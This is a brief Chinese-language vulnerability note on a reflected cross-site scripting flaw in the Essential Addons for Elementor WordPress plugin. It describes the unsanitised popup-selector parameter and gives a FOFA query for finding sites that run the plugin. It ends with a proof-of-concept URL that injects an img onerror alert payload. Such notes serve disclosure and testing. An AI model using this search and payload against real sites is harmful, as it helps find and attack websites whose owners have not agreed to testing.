WordPress essential-addons-for-elementor xss漏洞

漏洞描述

Elementor 插件的 Essential Addons 遭受反射型跨站点脚本(XSS)漏洞该漏洞是由于 popup-selector 查询参数的验证和清理不充分而发生的，从而允许将恶意值反映回用户

搜索语法

FOFA:body="/wp-content/plugins/essential-addons-for-elementor-lite"

漏洞再现

https://your-ip/?popup-selector=%3Cimg_src%3Dx_onerror%3Dalert%28%22qaxnb%22%29%3E&eael-lostpassword=1